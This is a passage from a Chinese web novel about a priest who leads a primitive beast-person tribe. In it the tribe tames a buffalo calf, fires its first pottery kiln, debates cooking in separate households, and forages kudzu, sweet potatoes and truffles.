“虽然个头有点大,但这应该是它的幼崽,大水牛被困住的时候它就在旁边蹲着,看到人来了也不知道跑。”红勇盯着牛犊与花时安解释,眸中没有一丝波澜。 花时安敏锐地捕捉到关键词,抽回视线看向红勇,“困住?被什么东西困住的?不是你们抓住的吗?” “哈哈哈!祭司大人你也太看得起我们了。” 像是听到了什么笑话,岩秋雨仰头大笑两声,一巴掌拍在牛肚子上,“这兽可不是一般的大,虽说我们也能抓到,但肯定要费一番力气。我们才出门半天呢,你看我身上一点伤都没有,头发都没乱,像是和野兽搏斗过吗?” 这倒也是,花时安又问:“所以到底是怎么回事?” “是这样的,”红勇不紧不慢地解释道:“部落旁边的陷阱一直没抓到猎物,前阵子我们就在森林深处挖了几个陷阱,今天照旧去检查,结果第二个陷阱就看到这头巨兽。” “陷阱挖得不大,自然装不下这巨兽,但不知道怎么回事,可能它个头太大,步子迈得太大,它后脚踩中陷阱,被卡住了,掉不下去也上不来。” “应该是昨晚被困住的,我们去的时候它还活着,却已经没什么力气挣扎了。我们把棕绳套在它脖子上,十多个人一起拽,最后勒死才弄出来的。” “能耐啊!”花时安听得热血沸腾,伸手拍了拍水牛的肚子,扬起嘴角环视一圈,不遗余力地夸赞:“抓到的猎物越来越大,你们真的太厉害了,这么大一头兽得多少肉啊,顿顿吃估计都要吃个十来天。” “运气运气,今天纯粹是运气好。”红勇不好意思地挠了挠头,咧着嘴嘿嘿地笑。 “运气?”花时安笑出声,“陷阱是你们挖的,猎物是你们抓的,你们抬回来的,这和运气有什么关系?要我说,这就是实力!” “没错,这就是我们狩猎队的实力!”岩秋雨被夸得飘飘然,胸口拍得震天响,下巴恨不得扬到天上去。 巨明笑得合不拢嘴:“祭司大人说话真好听啊!可不是嘛,甭管怎么抓到的,只要带回猎物就是我们的本事。” 你一言我一语,草地闹哄哄一团。 笑归笑,闹归闹,巨兽味道怎么样最重要。莫淮山不着痕迹地往旁边挪了几步,暗戳戳凑到花时安身旁,“时安,你认得这兽对吗?它叫什么,味道怎么样啊?” 这话一出,草地瞬间安静下来,数十双眼睛齐刷刷看向花时安。 显然都关心这个问题,花时安也不卖关子,扬了扬下巴道:“这巨兽叫作牛,就像山羊和红羊一样,牛也有很多个品种,你们抓到这种叫作水牛。牛肉很好吃的,就我个人口味而言,所有兽肉中最好吃的一种。” “真的假的,这么好吃吗?” “最好吃的一种,天啦,我要流口水了。” “要不把这小的也宰?不少肉呢!” “还等什么,走走走,赶紧弄到河边清理去,把肉和内脏洗干净,一会儿祭司大人忙完来煮。” 一聊吃得就兴奋,众人七嘴八舌,议论纷纷。 赶在他们行动之前,花时安摆了摆手,指着大牛旁边可怜巴巴的小牛犊道:“别急别急,听我说,小牛犊留下,谁都不准动,先养着,养大了——” “我知道,养肥了再吃,肉多嘛。”岩秋雨学会了抢答。 红勇瞪了他一眼,“吃吃吃,就知道吃,祭司大人话都还没说完。” 岩秋雨吐了下舌头,“好吧,祭司大人你继续说。” “牛肉确实好吃,但水牛也是一种畜力。”花时安顿了顿,抬眸望向上游连成一片的田地,慢条斯理道:“之前不总说田里干活累吗,把这只小家伙养大,驯养好,它就是农田里最好的帮手。” “它?帮忙?”岩秋雨瞪大眼睛看着小牛犊,扑哧笑出声,“祭司大人你别逗我了,它是兽,不是兽人,它能帮忙做什么?难不成还能帮忙翻地?” 花时安飞快地点点头,“欸,你还真说对了,翻地就是它的活儿。等它稍微长大一点,驯养好了后,给它配上一副叫作犁的工具,驱使它在田间走动,它就能帮忙翻地。” 花时安说得认真,瞧他的样子不像是开玩笑,可驱使野兽干活,红勇从未听说过,甚至想都没往这方面想过。 从无到有,祭司大人教会他们太多东西,由不得他不信,但好奇心驱使,红勇忍不住又问:“野兽始终是野兽,它、它真的能听懂我们的话,听我们的安排?” “当然了,”花时安笑笑道:“野兽也是有脑袋,有智慧的,遇到危险知道跑,遇到食物知道往前冲。这种出生不久的小动物最适合驯养,从小喂到大,从小和人相处,它对人的依赖性越强,服从性也就越高。” “驯兽是一个漫长的过程,需要时间和耐心,也要让它多跟人接触。找根绳子把它绑起来,今天先牵回树洞,平常喂食的时候不要直接喂,把它牵出来遛一遛,让它自己找草吃,没事的时候也可以把它牵出来,陪它玩一玩。” “还要陪它玩?这简直是当人类幼崽一样养啊,感觉好麻烦。”巨明大为震撼。 岩秋雨激动地搓搓手,“不麻烦,我倒觉得挺有意思。抓到野兽只能说明我狩猎能力强,但驯服野兽,让野兽乖乖听我的话,我的天,这简直太帅了!” 红勇捏着下巴,嘴角微微一抽,“嘶,是有点帅啊。” “如果当同伴一样饲养,那,我们要不要给它取个名字?”莫淮山温声提议,下意识瞅了眼花时安。 花时安一口应下,“可以有,取什么名字好?你们想想?” 岩秋雨脱口而出:“小花小草?” “你小子找死是吧,”红勇一巴掌拍在他的后脑勺,“忘记祭司大人姓什么了?这是野兽,不能和兽人同名。” “痛痛痛,”岩秋雨踉跄后退几步,一只手捂着脑袋,委屈地瘪着嘴,“平常都祭司大人祭司大人地叫,我一下子真没想起来。要不就那个嘛,刚才这小兽怎么叫得来着?咩,哞?” “哞哞。”莫淮山有样学样,学着小牛犊叫了两声。 花时安挑了下眉,忍不住笑了声,“不错,很可爱。” 一语双关的点评,红勇会错了意,“成,那就叫哞哞。” “新来的都有了名字,圈里的红羊和兔子呢?顺便给它们也取一个吧?”喂了那么久多少也有点感情,巨明想给它们也争取一下。 兽人们一听好像有道理,于是纷纷献计。 “红羊有三只,大大小小红红?” “咦,你这什么玩意儿,不如叫……” 虽然很扫兴,但不得不制止,花时安眉头微皱,在众人聊得最起劲的时候重重咳嗽了一嗓子,“咳,我不建议给红羊和兔子取名字。” 笑容凝固在了脸上,巨明十分不解地看着花时安,“为什么?红羊和兔子也是我们养的野兽啊,怎么还区别对待。” “必须区别对待。” 花时安笑意收敛,目光严峻,语重心长道:“水牛养来耕地,是我们的劳动力,也是我们的伙伴;红羊和兔子养来做什么的还记得吗?养来吃肉。不要给食物取名字,不要和食物建立太深厚的感情,不然以后杀来吃肉……” 话没有说完,但所有人都听懂了。 养出感情的动物被杀了吃肉,心里该多难受啊! 想想都不是滋味,岩秋雨扫了眼趴在地上的小牛犊,紧接着又问花时安,“那哞哞呢?哞哞以后老了,干不动活了,会宰了吃肉吗?” 花时安摇摇头:“不会。有句俗话说得好,再穷不卖看家狗,再饿不吃耕地牛。自它下地干农活开始,它便是部落的一员,没有功劳也有苦劳,即使老了死了,也该留具全尸。” “也不要觉得可惜,水牛的寿命长得很,等它老了已经是二十年后了。我相信到那个时候,部落早就不缺这一口肉吃。” 第75章 第 75 章 开窑 “开窑了, 开窑了,要凑热闹的抓紧了!” 天色渐暗,夜幕笼罩的河边熙熙攘攘,壮硕肥美的水牛开膛破肚, 庞大的身躯被利刃分割成一块块纹理清晰, 色泽鲜亮的牛肉。 洗肉洗内脏, 河边忙忙碌碌,其乐融融,突然一声高呼从上方河岸传来,人们不约而同地放下手中活计,齐刷刷站起身,一窝蜂似的冲向下游。 “快, 祭司大人他们过去好一会儿了,去晚了赶不上!” “急什么呀?陶器烧好了也会搬回部落,又不会跑。” “这你就不懂了,亲眼见证才有参与感!” “我捏的陶坯今天也烧了,好想看看烧成什么样子了。” “祭司大人说烧陶也会有损耗,你那个没准烧坏了。” “呸呸呸,乌鸦嘴!” …… 紧赶慢赶, 木族长与大部队一同抵达时, 正正好好赶上。 封窑口的背篓挪开了,干裂的泥土碎屑洒了一地。泥土被烤干, 五根树干牢牢焊死在窑口, 花时安和两个兽人咬紧牙关,费了九牛二虎之力才掰开一根。 中间的树干一挪开,有条缝隙就好使劲多了,三人小心翼翼地抠挖泥土, 取下树干丢到一旁,终于,黑洞洞的窑口重见天日。 窑室彻底冷却,一股独特的柴火气息扑面而来,窑壁经烟熏火燎,黑了不止一个度,花时安伸长脖子一看,一片乌漆麻黑,隐约能看见陶器轮廓。 没等花时安看出个所以然,身后凑热闹的族人一拥而上,一个个像是三天饿了九顿,终于看到了食物,瞬间把本就不大的窑口围得水泄不通。 “嘶,黑乎乎的,看不太清,到底成没成?” “别挤,别挤,让我也看看!” …… 除了老人和小孩,整个部落的人都围着窑炉,又挤又吵,花时安耳朵都快聋了。他四下环视一圈,本想让木族长维持一下秩序,结果见族长在人群中挤得正欢。 罢了,求人不如求己,还等着回去吃肉呢,花时安果断拍了拍手,扯着嗓子高喊一声:“心急吃不了热豆腐,来来来,都往旁边稍一稍,把梯子搬过来,准备下窑!” 看也看不见,众人闻言不再一味往前挤,麻溜地四散开来,满怀期待地等着他们下窑将陶器搬上来。 几十双眼睛盯着,压力有点大啊! 要是成了倒还好,万一没成……不,准备得很充分,没理由失败。花时安垂在身侧的手紧紧攥成拳头,怀着忐忑不安的心情,踩着竹梯走进昏暗的窑室。 花时安紧张,木族长何尝不紧张,看着花时安和兽人一前一后消失在窑口,夜风微凉的傍晚,他掌心都渗出一层薄汗。 十多天的努力不能白费,一定要成功啊! 窑室变化不大,除了窑壁烧得更黑了一点,基本和早上一模一样。泥锅、泥盆、泥碗……早上什么样,现在还是什么样,只是颜色略有些不同,从土黄色变成了偏白的浅黄色。 满怀期待走进窑室,岩秋雨傻眼了,“啊这,失败了吗?这些碗啊盘子怎么一点变化都没有?” “颜色变浅了一点。”莫淮山尽力找不同,唯一发现的就是颜色,还只是一点点细微的差别。 没有回答他们的问题,花时安四下环视一圈,看着依旧完整的瓶瓶罐罐,下意识屏住呼吸,将手伸向离自己最近的一个陶碗。 指腹摸到碗口,细腻的触感明显与泥土不同,花时安心跳漏了半拍,敛声屏息将碗拿起来。可陶碗刚刚离开地面,只听“咔嚓”一声响,一只完好的陶碗应声碎成两半,一半被花时安握在手中,另一半则掉落在地,摔成了渣。 这一摔把窑室摔安静了,一块跟着下来的岩秋雨、莫淮山顿时僵在原地,站在竹梯上的红勇也愣住了,三人大气都不敢出,只敢偷偷摸摸瞅花时安的神色。 花时安握着碎掉的陶碗将近一分钟没动,他们仨也跟着僵了一分钟。这样僵持下去好像也不是个事儿,莫淮山嘴唇微张,正要开口安慰,前方一动不动地花时安“扑哧”笑出声。 “不是,你们到底在干嘛,玩一二三木头人吗?”花时安乐坏了,眼睛眯成一条缝,嘴角大幅度上扬,笑得肩膀颤抖。 “木头人是什么?”岩秋雨关注点跑偏了。 红勇还记得正事,握拳抵唇轻咳一声,委婉地安慰道:“时安没有不高兴就好,这次没烧好,我们下次再烧。” “没烧好?谁说没烧好?” 花时安笑意收敛,顺手半个陶碗递给莫淮山,又从地上摸起一个陶罐。这一次陶罐没再裂开,完完整整地躺在掌心,花时安两指并拢轻轻扣了一下,“叮叮”两声脆响回荡在昏暗的窑室。 红勇呼吸一滞:“没有裂,声音不一样了……” “这是,”岩秋雨声音拔高好几个度,“成了?” “什么?!成了?” 木族长雀跃的呼喊声从头顶传来,霎时,窑炉变成了一个扩音喇叭,族人的欢呼声、议论声尽数倾斜下来。 “快快快,快往上搬呀祭司大人,勇哥!” “太好了,我们有陶器用了,今晚就用陶锅煮肉!” “就知道吃,那陶缸用来装水灌菜,简直不要太方便。” “烧好的陶器到底长什么样,我好想看看!” 脑瓜子嗡嗡的,本来还想检查一遍的花时安:…… 算了,边搬边检查,反正坏掉的也要弄出去。 下面递,上面接,很快,烧制好的陶器与碎裂的陶器碎片齐齐搬到草地。 从未接触过陶器的族人兴奋得不行,像是走进了批发市场,一人挑选两个抱着往回走,边走边研究陶器与陶坯到底哪里不同。 花时安抱着两个陶罐走在队伍末尾,默默计算损耗。 大致估算一下,这一批陶坯的损耗差不多五分之一,有点高了,尤其四个大陶缸烧坏了两个,花时安心在滴血,心疼得不行。 不过在这要啥啥没有的原始社会,五分之一的损耗其实不算高,一回生二回熟,窑炉挖好随时可以烧制,总之,部落不会再缺器具了。 素烧陶器与晒干的陶坯看起来并无太大差别,用起来却是天壤之别。泥巴遇水会软,会变形,陶器则随便装水,只有个别没烧好的陶器会出现渗漏。 经过渗漏检测,两个大陶缸、三个大陶锅,以及一些盘子碗、瓶瓶罐罐被搬回营地。稍大一点的,漏水没那么严重的次品丢在了田边,用来当浇水的容器,或是花盆什么的都可以。 碎裂的陶片统一堆放在营地后方树林中,碎渣残骸锋利,以免不小心踩到,划伤脚。 锅有了,肉也有了,忙忙碌碌一整日,该准备晚饭了。 干柴“噼里啪啦”地燃烧,新陶锅洗净装上清水,架在火塘上烧。烧个水而已,生怕锅被人偷走似的,木族长和岩知乐、红映兰寸步不离地守着陶锅,眼睛都看直了。 花时安拿着骨刀从旁路过,觉得有趣,站在三人身后问了一嘴,“瞅啥呢你们?刚刚不是试过了吗,不会漏水的。” “祭司大人。” 岩知乐回头和他打了个招呼,抬手指向旁边另一个架着石锅的火塘,笑吟吟道:“你不是说陶锅烧水煮饭快嘛,我们在比赛,看看陶锅到底比石锅快多少。” “哟,还挺有想法的。”花时安也来了兴致,上前两步挨着木族长落座,“不过你们这个比赛对石锅不公平,石锅比陶锅大一圈,里面的水也比陶锅多,没有可比性啊。” 木族长哈哈大笑两声,“其实啊,根本不用比。陶锅比石锅薄的不止一星半点,瞅一眼就知道肯定是陶锅里的水先开。我们就是试一试,听你说了那么多,也想亲眼看看。” 陶锅才放上去应该有一会儿了,水下泛起细密的小水泡。快开了,花时安单手托着腮,嘴角噙着淡淡的笑,“放心吧族长,没忽悠你。诺,你们自个儿看,马上就开了。” “哇,真的耶!”岩知乐抬头看向陶锅,顿时惊呼出声。 听说始终比不上亲眼所见,扫过石锅里开始冒烟的热水,红映兰瞪大眼睛,不遗余力地夸赞:“祭司大人你太厉害了!这陶锅又轻,煮水又快,真的太好用了!” “这才多久水就要开了?咱们以前过的什么日子?”木族长难掩激动,笑得合不拢嘴。说罢,他抬手搓了搓胳膊上冒出来的鸡皮疙瘩,扭头往旁边瞅了一眼,“看那石锅,这锅里的水都快开了,它一点动静都没有。” “不争气的东西,明儿让人抬出扔了,碍事又占地方。” “别,这可不能扔。” 花时安赶忙打消他这个念头:“虽说如今有了陶锅,用不上石锅了,但它还有别的用处。以后捣点辣椒粉、花椒粉,或者做魔芋什么的,当石臼用。” 木族长:“捣东西有小石锅嘛,这个也太大了。” 透过朦胧的夜雾望向草地,花时安轻笑一声,“现在嫌它大,以后稻谷成熟了,你指定要嫌它小,不够用。” “怎么说?”木族长饶有兴致地追问。 花时安:“稻谷成熟后非常小,是那种一粒一粒的,比辣椒籽还小。它外面有一层壳,到时候要用石臼来脱壳,很麻烦的。” 似乎嫌麻烦,木族长嘴角一抽,轻轻“啧”了一声。 岩知乐咧着嘴笑,立马接上话,“我不怕麻烦,祭司大人说了,稻谷脱壳叫作米,是这个世界上最最最好吃的食物!” “最好吃的食物之一,别给我添油加醋。”花时安笑道。 “说到吃……”木族长扭头看向空地上切肉的兽人,眼底闪过一丝不悦,抽回视线看向花时安,试探着道:“今晚你不炒肉?那么好的牛肉,真交给他们一群兽人来折腾?” “完了,糟蹋了。”红映兰一脸嫌弃。 这一唱一和的,就知道忽悠他去做饭。 花时安托着下巴一动不动,稳如泰山,然而三双眼睛愈发炙热,都快把他盯穿了,花时安终是没忍住,肩膀微颤,轻轻笑了一声,“他们只是帮忙切肉,备菜而已,不让他们糟蹋肉。” 木族长明显松了一口气,“那就好,你炒菜我——” “我也不炒。”花时安故意卖了个关子。 岩知乐一头雾水:“那谁炒?那我们吃什么?” 花时安:“新鲜的牛肉往往只需要最朴素的烹饪方式,今晚我们吃烤肉,石板自助烤肉。一会儿自己去河边领石板,去空地端肉片,自己烤,自己吃。” 第76章 第 76 章 分什么家? 夜里下了一场小雨, 气温跟着下降了不少,清晨在挂着水珠的灌木丛中穿梭,出门才没多久,花时安裹了一身的水汽, 风吹过来凉飕飕的。 泥泞小路湿滑难走, 边走边找, 采集队的行进速度相当缓慢。 路上倒也不无聊,活宝岩知乐还沉浸在昨晚的美食中,一大早精神抖擞,可劲儿在花时安耳边念叨:“昨晚的石板烤肉好好吃啊祭司大人,肉质细腻,口感柔嫩, 哇,我嘴巴里现在都还有那个味道。” 花时安一秒警惕,“你没刷牙?” “刷了刷了!”岩知乐急忙解释:“我是那么不爱干净的人吗?我只是夸张了一点,就你说的那个,唇齿什么香?” “唇齿留香。”花时安给他递词。 “对!”岩知乐越说越起劲,抓着花时安的胳膊左摇右晃,撒娇似的嘟囔:“牛肉还有那么多, 我们今晚再吃一次石板烤肉好不好?祭司大人祭司大人……” “啧。” 被这念经似的絮絮叨叨吵到了, 走在前面的亚兽人回头看了岩知乐一眼,似有不满道:“你好吵啊岩知乐, 一大早叨叨个没完, 你消停一会儿好吗?” 岩知乐一听不乐意了,梗着脖子怼亚兽,“我和祭司大人说话,又没和你说话, 嫌吵你可以捂住耳朵,没人逼你听。” “你——”亚兽嘴皮子没他厉害,被怼得哑口无言。 而沉默片刻后,亚兽似乎想到了该怎么反击,眉毛一挑,幸灾乐祸道:“石板烤肉你就别想了,今晚吃不着,祭司大人说了,要先吃掉那些牛杂!” 怼人也有技巧,亚兽很聪明,精准戳到岩知乐的痛点。 这下不高兴的人变成岩知乐了,他鼓着腮帮子闷闷不乐,继续摇晃花时安的手臂,“祭司大人,他说的是真的?我们今晚先吃牛杂?” “小孩”吵架波及了大人,花时安躲不过,摸着鼻头轻轻“嗯”了一声,“牛肉熏一熏可以放着慢慢吃,内脏不耐放,要尽快吃掉。” 道理都懂,但不妨碍他失望,小亚兽松开花时安的手,失落地垂下脑袋。 话痨不说话,赶路都变无聊了,花时安歪头看了岩知乐一眼,抬起胳膊轻轻肘了他一下,“别不高兴,晚上的牛杂你们来煮怎么样?看我煮了这么多次饭,厨艺应该有点长进吧,让我也吃个现成饭。” 岩知乐:“?” 看得出祭司大人想哄他,但哄人不是该给甜头吗,怎么还安排上任务了? 岩知乐脑袋埋得更低了一点,生无可恋地咕哝了一句:“我不行啊祭司大人,还是得你来,如果是你亲手做的牛杂,我觉得我又行了。” 一听这话,旁边一声不吭的红映兰也来了兴致,猛猛点头附和:“牛杂应该和羊杂差不多,祭司大人做得好吃,上次的爆炒羊杂和羊杂汤,我到现在都还记得那个味道,太香了!” “打住打住,差不多行了,别给我戴高帽子。” 花时安顺手在道旁灌木摘了一片树叶,拿在手中把玩,澄澈的眸子晦暗不明,语气却是云淡风轻:“别一天嘻嘻哈哈的,什么事儿都指望着祭司大人。教你们那些东西该记的要记住,多学多练,还要教一教其他族人,不然到时候分家饭都煮不出来,又哭着找祭司大人。” “分家?分什么家?” 岩知乐嗅到了不妙的气息,神情秒变严肃。 红映兰眉头微皱,一瞬不瞬地盯着花时安。 大集体生活不可能过一辈子,部落稳定后肯定要分开来过,但以前在晴空森林也是大集体生活,族人一下子接受不了分家,要循序渐进,温水煮青蛙,慢慢让他们接受。 树叶被风卷落在地,花时安笑着看向两人,故作轻松地耸耸肩,“分家就是分开来过,不过这种集体生活了,你们可以选择和自家亲人,或者伴侣一起——” “不是,好好地为什么要分开过?”岩知乐反应特别大,一脸不可置信,几乎是吼出来的一嗓子。 声音在丛林中回荡开,前方灌木丛中翻找植物的族人纷纷侧目,碍于花时安,他们回头看了一眼便继续干活,没敢多问,但并不畏惧花时安的木族长闻着味儿就来了。 “怎么了怎么了?聊什么呢这么大声?”木族长杵着探路的木棍走回来,看看岩知乐,又转头看向花时安。 花时安:“没——” “族长!”岩知乐开启告状模式,小嘴叭叭叭:“祭司大人说我们要分家,分开过,以后不在一起干活,不在一起住,不在一起吃饭睡觉,各过各的!” “什么!?” 上一秒还在优哉游哉往前走,下一瞬,木族长步子一顿,猛地回过头看向花时安,睁圆的眼睛里满是疑惑,嘴唇微微颤抖,“真是你说的?” 得,本来只是想打个预防针,这下真的要摊牌了,花时安无奈地揉了揉眉心,轻叹一口气,“岩知乐你少给我添油加醋,我是说了分家,但我没说不在一起住,不在一起干活。” “族长你别急,走吧,边走边说。” 花时安推了推木族长的肩膀,待木族长重新挪动,他迈开步子继续往前走,不紧不慢地解释道:“我说的分家主要针对吃饭,怎么说呢,就是不在一块吃大锅饭,我们可以干完活回家,自己煮自己的饭。” “但我们还是住在一起,家家户户紧挨着,干农活、外出什么的当然也要一起,共同生产,共同劳作,然后收获的食物我们可以像过冬那样平均分发。” 只是分开吃饭而已,木族长好像也不是那么难接受,明显松了一口气,但他还是不理解,于是又问:“可是为什么要分开吃饭,这些年都在一块吃喝,继续这样过不好吗?” 岩知乐小鸡啄米似的点点头,“对呀对呀,每天一块干活,一块吃饭休息,多好多热闹。” 花时安抿唇轻笑,“有利有弊。一块吃饭确实很热闹,但不自由啊,不能满足个人需求。就像岩知乐你,你说今晚想吃石板烤牛肉,可部落今晚煮牛杂,你就只能跟着吃牛杂。” “分开吃饭会方便许多,想吃烤牛肉就吃烤牛肉,想吃清淡的就炖牛肉,不想吃肉就吃野菜,凭个人喜好过日子。我们如今是为了生存,有什么吃什么,没得选,但不久后的将来,我们有更多选择的余地,大家都可以过自己想过的日子,这才是叫生活。” “我不想吃烤牛肉了,不分家好不好?”岩知乐很抗拒分家,眉头紧紧拧成一团,连心爱石板烤牛肉也割舍了。 没有理会他,木族长越听越来劲,紧接着又道:“时安你说得确实有道理,过自己想过的日子才叫生活,但部落这么多人,一人垒一个火塘的话,营地怕是挤不下啊!” 花时安:“说什么呢族长,怎么会一人垒一个火塘?有亲人的可以和亲人一起,有伴侣的可以和伴侣一起,年纪大一点的孤寡老人也可以几个人搭伙过日子。” “当然了,部落不会抛弃他们,他们要是不想搭伙,不想做饭,也可以把自己的食材带去别人家。每天四处溜达溜达,问问你家吃什么,他家吃什么,想吃哪家去哪家。” 木族长眉毛一挑,眸中泛起星星点点的光芒,“哎哟别说,这个主意还挺好。我就没有亲人,没有伴侣,到时候我可就天天拎着食物上你家啊,时安。” 这是同意了?花时安笑了声,“欢迎你族长。” 可以选择的生活太美好了,木族长眯着眼睛畅想未来,果断和花时安站在同一阵线,“我倒是觉得能行,就是不知道他们怎么想,回头说一声,反正分家不是现在就分吧?” 花时安摇摇头:“现在太早了,等部落稳定下来,不愁吃喝再分。” 真的要分家吗?岩知乐极其不情愿,还想挣扎一下,绞尽脑汁思索分家的坏处,没什么底气道:“我还是觉得分家不妥,就算、就算两三个人一个火塘,那也还是很多呀,到时候把营地弄得乌烟瘴气,乱糟糟的。” 想不出来了,好像真的没什么坏处。 花时安漫不经心地掀起眼皮子,看了眼小心思特别的多亚兽,“谁说一定要在营地煮饭?我们难道不可以在自己家里煮吗?” “树洞里?”岩知乐眼神复杂地看着花时安,“祭司大人你傻掉了吗?树洞那么窄,根本不可能生火做饭。” 被骂了也不恼,花时安愉悦地扬起嘴角,“树洞不算家,树洞只是我们暂时的容身之处。在不久后的将来,我们会拥有属于自己的房子,有专门煮饭的灶房、睡觉的卧室、待客的客厅……” 听不懂,岩知乐茫然眨眨眼,“房子是什——” “族长,找到葛根了,这里好大一片!” “祭司大人,这边好多蘑菇,你快来看看能不能吃。” 两道声音几乎同时从前方传来,带来令人欣慰的好消息。 花时安提了提肩膀上的背绳,加快步伐往前走,招呼身旁慢悠悠的岩知乐:“回头再聊。走走走,多挖点葛根回去做好吃的。” 第77章 第 77 章 红薯 “砰, 砰砰——” 锄头翻开潮湿的泥土,在杂草丛生的灌木丛中挖出一个坑。形似山药的深棕色块茎露出冰山一角,花时安松开锄头蹲下身,不到十息便从土坑中掏出一根手臂粗的葛根。 枯木腐叶滋养着这片土地, 土层深处蔓延的葛根又大又粗, 运气好时一株能挖出四五根, 花时安越挖越兴奋,累得气喘吁吁也不肯停。 斩草不除根,春风吹又生。 这一株挖得差不多了,花时安把大块根茎丢进背篓,拎起锄头回填泥土,将还未长大的小葛根重新填埋起来。 绿叶缀满枝头, 肆意生长的灌木比人还高,走在前面的岩知乐已经看不到人影了,花时安背着背篓,扛起锄头,转头朝身后喊了一声:“挖好了吗映兰?我准备往前走了。” 话音刚落,不远处灌木簌簌晃动了两下,紧接着, 一只纤细的手越过枝叶探了出来, “祭司大人先别走,我这一根有点大, 半天掏不出来, 你得来帮我一下。” 花时安应了一声,双手捧做喇叭状,扯着嗓子朝岩知乐所在方向大喊一声:“别跑远了岩知乐,等等我们。” “没跑远, 我就在前面一点儿!” 亚兽的声音清晰传来,花时安放心了,拨开灌木往回走。 红映兰挖到宝了,她所处位置是一个缓坡,坡下厚厚一堆泥土,整个坡都快被她给移平了,泥土里硕大无比的葛根依旧看不到头。 大,巨大一根,中间最粗的部分和花时安大腿差不多。 葛根成精了吧?花时安惊呆了,伸手拍了拍葛根,唇缝中溢出一声轻笑,“厉害啊映兰,葛根祖宗都被挖出来了。” “祖、祖宗?真的吗?”红映兰看着泥土里的葛根,莫名打了个寒战,“挖到祖宗是不是不好啊,要、要不别挖了?” 开个玩笑怎么还当真了,花时安果断抡起锄头,“说笑呢,越大越要挖,来,我挖这边你挖那边,看看能不能整根挖出来。” “哦哦,好。”红映兰擦了擦汗,继续抡起锄头。 两把锄头齐上阵,两人吭哧吭哧地挖了将近十分钟,终于,缓坡彻底被移平,葛根“祖宗”完好无损地刨了出来。 不知在土里长了多少年,葛根又大又长,堪比一根成年矮树,花时安竖起来比了一下,快两米了,比自己的个头还高。 “呼,真的好大一根呀,这该怎么拿?我们抬着走?”红映兰累着了,额头上全是细密的汗珠,但看着花时安手里的成果,她嘴角扬起,眼底兴奋一览无余。 挖土是个力气活,花时安也累了,他撩起衣摆擦了擦额头上的汗,把葛根打横放在地上,顺手从背篓里摸出石刀,“太沉了,抬着费劲,砍成小段背回去,反正回去也要弄碎。” 说罢,花时安手起刀落,埋头一顿砍,快而迅速地将葛根分成四段。 不该逞强的时候绝不逞强,葛根太大了,花时安一个人绝对背不动,于是他将两小段放进红映兰背篓里,两大段放进自己的背篓中。 缓坡挖塌填不回去了,花时安看一眼就放弃了,撑着锄头背起背篓,和红映兰招招手,“走吧,这一根葛根都把背篓装满了,先去集合点把东西放——” “等一下祭司大人,这还掉了一根小的,差点没看到。” “太小的不用捡,丢那就——” 话音戛然而止,花时安说话时下意识回头,正好看见红映兰从泥土中扒拉出来的“葛根”。 椭圆形的棕色块根被亚兽握在手中,晃眼一看确实是葛根,可仔细一看,颜色略浅,表面光滑有细小的斑点,并不像葛根那般粗糙。 花时安呼吸一滞,三步并作两步匆匆走到红映兰面前,近乎蛮横地从她手中夺走块根,两手握着用力一掰。 “咔嚓”一声响,块根应声断成两半,一股清甜香气飘散出来。花时安低头一看,果不其然,内里茎肉呈橙黄色,几乎看不见纤维,与葛根粗纤维较多,黄白色的切面有着天壤之别。 这不是葛根,这是薯,红薯! 从疑惑不解到欣喜若狂,花时安眼神变化格外明显,红映兰不明所以地瞄了眼“葛根”,好奇地问道:“这个葛根有点不一样,是什么很特别的品种吗?” 空气都变清新了,花时安深吸一口气,伸手将半根红薯递给红映兰,眸中笑意正浓,“不是葛根,这是红薯。看仔细一点,记住它样子,它比葛根更重要,比葛根好吃一万倍!” …… 两截红薯与土堆里扒出来薯藤带回集合点,花时安唤回丛林中探索的族人,交给他们逐一辨认。 回来一趟还有意外收获,再次出发时,花时安扫过葛根堆,竟发现个头稍大一点的红薯早就被族人当葛根挖了回来。 计划有变,此行的主要目标最后变成了红薯。 有一株就会有第二株,采集队三人一组继续在丛林中穿梭,找到红薯挖红薯,遇到葛根挖葛根,不起眼的落叶堆也不会放过,用锄头翻一翻,藏在阴暗角落的蘑菇一并带走。 森林里打野其实挺好玩的,不谈饱腹感,花时安尤为钟爱捡蘑菇。 圆润光滑的伞盖拍一拍,扒开蘑菇四周的枯叶与泥土,握住根部左右摇晃两下,轻轻一拽,蘑菇离开土面那一微弱的声响简直了,无敌解压。 个大肥美的牛肝菌、颜色鲜艳的鸡油、与枯叶融为一体的羊肚菌……蘑菇如雨后春笋冒出头,花时安就好这一口,带走带走,通通打包带走。 捡蘑菇也会有意外惊喜,比如现在,花时安刚在树脚下收获了一个巨无霸,比脸盆还大的牛肝菌,正想去和岩知乐他们显摆,而就在他站起身时,无意发现脚边泥土鼓了一个包。 蘑菇破土之前就会拱出小土包,他以为又是一个嫩蘑菇,直接上手扒土。结果扒拉了好一阵子,蘑菇不见踪影,一个黑漆漆的圆疙瘩顺着泥土滚了出来。 该说不说,这小玩意长得——加大版红羊粪便。 有前车之鉴,花时安不是很想伸手去碰,可下一秒,一阵微风吹拂而过,一股独特而浓郁,又有那么一点复杂的香味掠过鼻间。 花时安鼻尖微动,神情骤变,一把抓起其貌不扬的小圆疙瘩。 拍掉泥土,圆疙瘩依旧是黑漆漆的,外表崎岖不平,有点像荔枝的外壳,又像是一块裹了坚果碎的巧克力。 没见过长在森林里的,却见过摆在餐盘里的,花时安一闻便知,这是可遇而不可求,有地下黄金之称的——黑松露。 背篓里红薯、葛根,左手牛肝菌,右手黑松露,花时安迎着风站起身,抬眸环视四周,忽地笑了一声。 巨树森林该改名了,应该叫宝藏森林。 今天的收获有点多,一趟两趟根本背不完,花时安跟着采集队一趟又一趟地跑,来回折腾了四五趟,最后太阳下山回到部落时,累得两腿发软。 一天走了一个礼拜的路,花时安筋疲力尽,但辛苦是值得的,看着草地上成堆成堆的葛根、红薯、蘑菇,他又有了干劲,原地歇了一会儿便带着族人继续干活。 做葛根粉和做淀粉是一样的,步骤多而繁琐,好在部落人多,一部分人洗,一部分人削皮切块……分工合作,忙而不乱。 葛根洗净切块丢进石锅,底部光滑的木杵重重捶落,“砰砰砰”的闷响持续在营地回荡,大块葛根被捶扁碾碎,渐渐变成灰白色的粗纤维。 昨天烧制好的大件陶器派上了用场,捶好的葛根捧进陶盆中,加入清水,先浸泡再搓洗,如搓衣服一般反复搓洗葛根纤维,把淀粉洗出来,最后把浆液倒进陶缸中沉淀。 